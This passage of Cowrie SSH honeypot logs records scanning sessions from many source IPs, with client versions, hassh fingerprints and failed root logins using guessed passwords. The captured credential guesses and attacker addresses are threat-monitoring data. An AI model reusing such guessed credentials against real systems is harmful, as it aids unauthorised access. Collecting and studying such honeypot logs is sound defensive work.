cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:56:51.146652Z","src_ip":"77.94.47.83","session":"41e7e9cce7a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123q123q","message":"login attempt [root/123q123q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:56:51.529931Z","src_ip":"77.94.47.83","session":"41e7e9cce7a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.102.61","src_port":39884,"dst_ip":"10.17.0.5","dst_port":22,"session":"d864d5e59835","protocol":"ssh","message":"New connection: 43.128.102.61:39884 (10.17.0.5:22) [session: d864d5e59835]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:56:52.194088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:56:52.199401Z","src_ip":"43.128.102.61","session":"d864d5e59835","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:56:52.436419Z","src_ip":"43.128.102.61","session":"d864d5e59835","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:56:52.659980Z","src_ip":"77.94.47.83","session":"41e7e9cce7a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admintest","message":"login attempt [root/admintest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:56:53.414042Z","src_ip":"43.128.102.61","session":"d864d5e59835","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:56:54.654467Z","src_ip":"43.128.102.61","session":"d864d5e59835","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":44912,"dst_ip":"159.203.135.109","dst_port":22,"session":"17438b4a5131","protocol":"ssh","message":"New connection: 103.98.149.87:44912 (159.203.135.109:22) [session: 17438b4a5131]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:57:05.209677Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:57:05.214555Z","src_ip":"103.98.149.87","session":"17438b4a5131","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:57:05.443544Z","src_ip":"103.98.149.87","session":"17438b4a5131","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456e","message":"login attempt [root/123456e] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:57:06.139460Z","src_ip":"103.98.149.87","session":"17438b4a5131","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:57:07.367549Z","src_ip":"103.98.149.87","session":"17438b4a5131","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":58672,"dst_ip":"10.17.0.5","dst_port":22,"session":"70b2d0a8f98f","protocol":"ssh","message":"New connection: 80.94.92.184:58672 (10.17.0.5:22) [session: 70b2d0a8f98f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:57:47.176476Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:57:47.258811Z","src_ip":"80.94.92.184","session":"70b2d0a8f98f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:57:47.394418Z","src_ip":"80.94.92.184","session":"70b2d0a8f98f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.173.38.229","src_port":49800,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe36bd510163","protocol":"ssh","message":"New connection: 62.173.38.229:49800 (10.17.0.5:22) [session: fe36bd510163]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:57:47.618341Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:57:47.683768Z","src_ip":"62.173.38.229","session":"fe36bd510163","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:57:47.912833Z","src_ip":"62.173.38.229","session":"fe36bd510163","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv321","message":"login attempt [solv/solv321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:57:48.316822Z","src_ip":"80.94.92.184","session":"70b2d0a8f98f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"chester","message":"login attempt [root/chester] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:57:48.673691Z","src_ip":"62.173.38.229","session":"fe36bd510163","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":40570,"dst_ip":"10.17.0.5","dst_port":22,"session":"16c64735f538","protocol":"ssh","message":"New connection: 147.45.199.80:40570 (10.17.0.5:22) [session: 16c64735f538]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:57:49.212207Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:57:49.216727Z","src_ip":"147.45.199.80","session":"16c64735f538","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:57:49.312332Z","src_ip":"147.45.199.80","session":"16c64735f538","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:57:49.501143Z","src_ip":"80.94.92.184","session":"70b2d0a8f98f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12340987","message":"login attempt [root/12340987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:57:49.600433Z","src_ip":"147.45.199.80","session":"16c64735f538","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:57:49.895771Z","src_ip":"62.173.38.229","session":"fe36bd510163","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:57:50.699044Z","src_ip":"147.45.199.80","session":"16c64735f538","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":55212,"dst_ip":"159.203.135.109","dst_port":22,"session":"e94cb1ad4631","protocol":"ssh","message":"New connection: 38.93.206.2:55212 (159.203.135.109:22) [session: e94cb1ad4631]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:57:51.360252Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:57:51.365290Z","src_ip":"38.93.206.2","session":"e94cb1ad4631","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:57:51.419080Z","src_ip":"38.93.206.2","session":"e94cb1ad4631","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123321aa","message":"login attempt [root/123321aa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:57:51.572738Z","src_ip":"38.93.206.2","session":"e94cb1ad4631","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:57:52.628063Z","src_ip":"38.93.206.2","session":"e94cb1ad4631","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.188.176.245","src_port":50204,"dst_ip":"10.17.0.5","dst_port":22,"session":"b818ea506365","protocol":"ssh","message":"New connection: 181.188.176.245:50204 (10.17.0.5:22) [session: b818ea506365]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:57:57.187910Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:57:57.192899Z","src_ip":"181.188.176.245","session":"b818ea506365","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:57:57.374837Z","src_ip":"181.188.176.245","session":"b818ea506365","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12151215","message":"login attempt [root/12151215] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:57:58.116844Z","src_ip":"181.188.176.245","session":"b818ea506365","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:57:59.298038Z","src_ip":"181.188.176.245","session":"b818ea506365","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":36010,"dst_ip":"159.203.135.109","dst_port":22,"session":"005e968b51b9","protocol":"ssh","message":"New connection: 103.195.236.96:36010 (159.203.135.109:22) [session: 005e968b51b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:58:03.209825Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:58:03.214835Z","src_ip":"103.195.236.96","session":"005e968b51b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.66.52.41","src_port":49759,"dst_ip":"10.17.0.5","dst_port":22,"session":"34901cd91bc3","protocol":"ssh","message":"New connection: 45.66.52.41:49759 (10.17.0.5:22) [session: 34901cd91bc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:58:03.302812Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:58:03.308122Z","src_ip":"45.66.52.41","session":"34901cd91bc3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:58:03.451640Z","src_ip":"103.195.236.96","session":"005e968b51b9","protocol":"ssh"}
